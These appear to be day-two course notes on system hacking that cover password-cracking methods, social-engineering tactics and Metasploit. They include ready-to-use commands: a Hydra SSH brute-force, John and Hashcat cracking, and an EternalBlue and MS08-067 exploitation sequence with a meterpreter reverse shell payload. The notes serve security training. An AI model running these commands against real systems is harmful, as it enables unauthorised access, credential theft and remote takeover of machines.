Day 2

System Hacking Techniques

What is System Hacking?

System hacking involves gaining unauthorized access to a system and escalating privileges to control it. Techniques vary from cracking passwords to social engineering.

1. Password Cracking

• Definition: Password cracking is the process of recovering passwords through various techniques.

Techniques:

1. Brute-Force Attack: Trying all possible combinations.
2. Dictionary Attack: Using a list of common passwords.
3. Rainbow Tables: Precomputed hash lookup tables.

Tools for Password Cracking:

1. John the Ripper

   • Why: Fast and flexible password cracking tool.
   • Command:

     john --wordlist=/path/to/wordlist.txt hashfile

2. Hydra

   • Why: Brute-force tool for various network protocols (SSH, FTP, HTTP, etc.).
   • Command:

     hydra -l admin -P rockyou.txt ssh://192.168.1.10

3. Hashcat

   • Why: GPU-accelerated password cracker.
   • Command:

     hashcat -a 0 -m 1000 hash.txt wordlist.txt

4. Rainbow Tables:

   • Use precomputed hashes to reverse engineer passwords.
   • Tools: Ophcrack, Cain and Abel.

2. Social Engineering

• Definition: Manipulating people into divulging confidential information.
• Types:
  • Phishing : Crafting fake emails or websites to capture sensitive data.
  • Pretexting : Pretending to be someone trustworthy to acquire information.
  • Baiting : This tactic tricks the victim into unintentionally downloading malware into their system or revealing confidential personal or organizational information.

Tools for Social Engineering:

1. SET (Social Engineering Toolkit)

   • Simulates phishing attacks and payload delivery.
   • Command:

     setoolkit

2. GoPhish

   • Open-source phishing framework to test awareness.

3. Metasploit Framework

• Definition: Metasploit is a powerful penetration testing framework for system exploitation.

Why Metasploit?

• Automated exploits.
• Post-exploitation features.

Key Features:

• Exploit Module: Search for and exploit vulnerabilities.
• Payload: Deliver commands or backdoors.

Example Attack using Metasploit:

1. Finding an Exploit:

   search type:exploit name:windows

2. Exploit Target:

   use exploit/windows/smb/ms17_010_eternalblue

3. Set Payload:

   set PAYLOAD windows/x64/meterpreter/reverse_tcp

4. Launch Attack:

   exploit

Basic Usage:

1. Launch Metasploit:

   msfconsole

2. Search for Exploits:

   search windows/smb

3. Use Exploit:

   use exploit/windows/smb/ms08_067_netapi
   set RHOST 192.168.1.10
   exploit